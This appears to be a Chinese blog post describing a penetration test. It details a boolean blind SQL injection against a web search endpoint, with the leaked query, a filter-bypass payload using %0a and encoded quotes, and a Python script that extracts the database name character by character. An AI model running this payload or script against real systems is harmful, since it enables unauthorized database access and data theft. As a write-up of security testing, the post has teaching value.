千家信息网

如何进行布尔型盲注的PY交易分析

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,今天就跟大家聊聊有关如何进行布尔型盲注的PY交易分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。经过上一篇的良好反馈,我正好在项目中发现了这
千家信息网最后更新 2026年10月31日如何进行布尔型盲注的PY交易分析

今天就跟大家聊聊有关如何进行布尔型盲注的PY交易分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

经过上一篇的良好反馈,我正好在项目中发现了这个布尔型漏洞,就编写了本篇文章,主体格式一样,但内容针对不同,下次看看在弄个什么的PY交易好,让我再想想。

确定问题点

在这次的测试过程中发现了一个注入点,通过测试发现返回包内包含了sql语句,确认可以注入,开始了这次的注入尝试。

首先我们可以确认这是一个GET型数据调用,本以为是简单的报错注入,应该可以直接利用sqlmap进行漏洞的利用,但现实狠狠的给了我一个耳光。sqlmap根本法利用这个漏洞,但返回的数据包中实打实出现我数据库语句,所以我把返回的数据库语句拿出来,开始了一点点的构造进程。

复制出来的数据库语句:

SELECT count(0) FROM customer c WHERE c.dealership_id = ? AND c.active = true AND (c.full_name LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number_sub1 LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number_sub2 LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%')

二、测试命令语句

经过实验,发现报错内容不同,可说明与参数确实可以影响数据库语句。但返回的内容需要进行闭合而且返回内容不可以利用,所以可以排除报错等类型注入形式,可以探测的注入类型就仅剩下两种了:时间型盲注,布尔型盲注直接在目标后加入测试语句。

构造数据库语句:

%'){测试语句}AND(c. full_name like '%test

返回成功,实现语句闭合(此外利用了数据库模糊查询like %%),在测试过种发现存在过滤,单独%无法通过,空格无法通过,系统会返回404,针对之前爆出的数据库语句,利用%25和%20绕过对对单独%和空格的过滤构造出以上的数据库语句完成语句的闭合,成功返回200,确认可以返回正常数据包,并可以根据数据库语句的正确来进行布尔型盲注测试。

接下来确认测试语句

27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test

按位截取的形式进行匹配,确认数据库名称

三、工具思路

3.1 Post数据包利用

利用python的数据包发送来批量测试目标内容

和时间型盲注不同,布尔型盲注要根据返回数据包的不同来确认问题

%0a(ascii(substr(database(),{1},1))={0})%0a

利用find函数来查找返回的数据特征,判断是否成功得到注入数据

# coding:utf-8import requestsimport datetimeimport timeheaders = {    头信息,自己添加}chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789@_.' database = ''for j in range(1,11):    for i in range(49,125):        Url = 'https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxx/find?pageNo=1&pageSize=20&searchWord=1%25%27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test'        UrlFormat = Url.format(i,j)      #format()函数使用        r = requests.get(UrlFormat,headers=headers)        d = r.content.find("Test")       #利用find函数来查找返回的数据特征,判断是否成功得到注入数据        if d != -1:            print(i)            print chr(i)            database += chr(i)            print database            break        else:            pass

四、以后的想法

对于代码的未来,有如下的想法

1.加入数据包直接调用的功能

2.针对0值永真的修改

3.进行线程上的优化

4.编写GET方法的代码

5.进行整体代码的逻辑重构(这个是吹NB)

看完上述内容,你们对如何进行布尔型盲注的PY交易分析有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注行业资讯频道,感谢大家的支持。

数据 语句 数据库 测试 内容 布尔 不同 成功 交易 代码 函数 漏洞 闭合 分析 形式 想法 时间 特征 目标 空格 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 广东猪兼强互联网科技有限公司 广州大一互联网络科技有限公司 中国互联网科技工作委员会毛军 科技与互联网 善班互联网科技有限公司 互联网前沿科技 老年人脱离互联网科技的作文 隆华科技工业互联网 青岛中康互联网医疗科技有限公司 广州优美互联网科技 港股科技和互联网 重庆互联网医院沙龙医盟信息科技 呼和浩特新华互联网科技学院 科技类公司包括互联网吗 合肥互联网科技公司公章图片 互联网金融科技元年 半导体是互联网高科技吗 上海同邻互联网科技有限公司规模 杭州融税互联网科技有限公司 株洲百竞科技的互联网营销顾问 鸠鸠互联网科技 北京互联网科技有限公司 互联网与未来科技 新浪科技互联网 广州善班互联网科技 重庆科技学院互联网 互联网还是高科技吗 沐思想互联网科技有限公司 半导体是互联网高科技吗 万物互联网智能科技
0